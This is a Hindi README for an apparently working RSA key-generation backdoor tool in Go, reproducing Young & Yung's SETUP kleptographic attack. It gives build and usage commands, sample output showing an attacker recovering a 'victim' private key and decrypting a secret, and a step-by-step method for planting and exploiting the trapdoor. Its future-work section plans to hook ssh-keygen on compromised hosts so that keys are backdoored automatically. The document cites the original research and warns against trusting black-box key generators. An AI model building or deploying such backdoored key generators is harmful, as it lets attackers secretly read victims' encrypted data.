RSA बैकडोर जनरेटर

इस रिपॉजिटरी में Young & Yung, 1996 द्वारा प्रस्तावित RSA कुंजी जनरेशन पर Secretly Embedded Trapdoor with Universal Protection (SETUP) हमले को दोहराने के लिए कोड है। इस हमले की क्षमता को देखते हुए, ब्लैक बॉक्स कुंजी जनरेशन प्रणालियों पर कभी भरोसा न करें।

संदर्भ: - एल्गोरिथ्म की प्रस्तुति - मूल पूर्ण पेपर

उपयोग

अपनी हमलावर कुंजियाँ जनरेट करके शुरू करें और फिर बैकडोर वाली कुंजियाँ जनरेट करें।

# build
go build generator.go
go build decryptor.go

# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem

# generate backdoored keys
./generator -pk attacker_pub.pem

# output
------
[*] Generating 4096-bits SETUP...
    > This may take a while...
------

------
[*] Found parameters:
    > p bit length: 256
    > q bit length: 3840
    > n bit length: 4096 // final key length
    > Attempts needed: 542692
------

------
[*] Backdoored keys saved to:
    > Private key: out/victim_priv.pem
    > Public key:  out/victim_pub.pem
------

------
[*] Test with:
    > echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
    > ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------

यदि पीड़ित प्राप्त कुंजियों पर भरोसा करता है (जो बिल्कुल सामान्य दिखती हैं और उम्मीद के मुताबिक काम करती हैं) तो वह उनका उपयोग कुछ डेटा एन्क्रिप्ट करने के लिए करेगा, उदाहरण के लिए:

# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin

# verify
echo out/cipher.bin | base64

हैरान करने वाली बात यह है कि हमलावर पीड़ित की सार्वजनिक कुंजी और अपनी निजी कुंजी का उपयोग करके संदेश को डिक्रिप्ट कर सकता है। उदाहरण के लिए,

# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin

# output
------
[*] Loading keys and ciphertext...
    > Loaded victim public key
    > Loaded attacker private key
    > Loaded ciphertext
------

------
[*] Deriving private key from SETUP...
    > PK bitsize: 2048
    > Found valid factorization using s1
    > Recovered p (bit length: 256)
    > Recovered q (bit length: 3840)
    > Recovered d (bit length: 4092)
------

--- DECRYPTED MESSAGE ---
 ��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s        �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
                                      �ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
        �y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$�޶��WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------

यह कैसे काम करता है ?

यदि आप इस हमले का पूरा विवरण चाहते हैं तो प्रस्तावना में दिए गए दो लिंक देखें। इस हमले का उच्च-स्तरीय अवलोकन निम्नलिखित है :

सामान्य RSA कुंजी जनरेशन (बेसलाइन)

दो बड़ी यादृच्छिक अभाज्य संख्याएँ p और q उत्पन्न करें (2048‑bit कुंजी के लिए प्रत्येक ≈1024 बिट)।
n = p · q की गणना करें।
सार्वजनिक घातांक e चुनें (सामान्यतः 2¹⁶+1)।
d की गणना करें ताकि e · d ≡ 1 mod φ(n) जहाँ φ(n) = (p–1)(q–1)।
सार्वजनिक कुंजी: (n, e); निजी कुंजी: d।
एन्क्रिप्शन: c = mᵉ mod n; डिक्रिप्शन: m = cᵈ mod n।

क्लेप्टोग्राफ़िक (SETUP) RSA कुंजी जनरेशन

एक 1024‑bit अभाज्य s चुनें और p = H(s) की गणना करें (जब तक p अभाज्य न हो दोहराएँ)।
हमलावर की कुंजी से s को एन्क्रिप्ट करें: c = sᴱ mod N।
यादृच्छिक z चुनें।
q को इस प्रकार बनाएँ कि c || z = p · q + r किसी मनमाने शेष r के लिए; यदि q अभाज्य नहीं है तो पुनः प्रयास करें।
n = p · q की गणना करें, e को सामान्य रूप से सेट करें, और d की गणना मानक RSA की तरह करें।
सामान्य दिखने वाली सार्वजनिक कुंजी (n, e) और निजी कुंजी d आउटपुट करें — लेकिन एक छिपे हुए ट्रैपडोर के साथ।

हमलावर द्वारा पीड़ित की निजी कुंजी की पुनर्प्राप्ति

n के शीर्ष n/2 बिट्स को u के रूप में लें (≈1024 बिट)।
c₁ = u और c₂ = u + 1 परिभाषित करें (c||z एम्बेडिंग में संभावित बिट हानि से निपटने के लिए)।
हमलावर की निजी कुंजी D से डिक्रिप्ट करें:
- s₁ = c₁ᴰ mod N, s₂ = c₂ᴰ mod N।
उम्मीदवार अभाज्य संख्याओं की गणना करें:
- p₁ = H(s₁), p₂ = H(s₂)।
q₁ = n / p₁ और q₂ = n / p₂ की गणना करें; जो विभाजन पूर्णांक देता है वह वास्तविक p और q को प्रकट करता है।
(p, q, e) से d की पुनर्गणना करें।
अब हमलावर पीड़ित की RSA निजी कुंजी को पूरी तरह पुनर्प्राप्त कर लेता है।

सुधार

वर्तमान में प्रोग्राम यह जाँचने के लिए ProbablyPrime() का उपयोग करता है कि दिया गया n अभाज्य है या नहीं। ProbablyPrime n मिलर-रबिन परीक्षण करता है ताकि यह जाँचा जा सके कि x अभाज्य है या नहीं। यदि यह true लौटाता है, तो x के अभाज्य होने की प्रायिकता 1 - 1/4^n है। यदि यह false लौटाता है, तो x अभाज्य नहीं है। इस प्रकार, यह गैर-शून्य प्रायिकता है कि बैकडोर जनरेशन विफल हो जाता है (Q को हल नहीं किया जा सकता)। यदि ऐसा होता है तो बस टूल को दोबारा चलाएँ।

भविष्य के कार्य

निम्नलिखित प्रारूपों का समर्थन करें: ssh-rsa, ssh-dsa, ssh-ecdsa। SETUP इनके लिए सैद्धांतिक रूप से संभव है, ssh-ed25519 SETUP के प्रति प्रतिरोधी है। निजी ssh कुंजी तब ssh-keyscan से प्राप्त सार्वजनिक कुंजियों से व्युत्पन्न की जा सकती है। मैं समझौता किए गए होस्ट पर ssh-keygen को हुक करने के लिए एक छोटी उपयोगिता प्रदान करने की भी योजना बना रहा हूँ ताकि आगे की कुंजियों को स्वचालित रूप से बैकडोर किया जा सके... TBC।

RSA-Backdoor

सबसे लोकप्रिय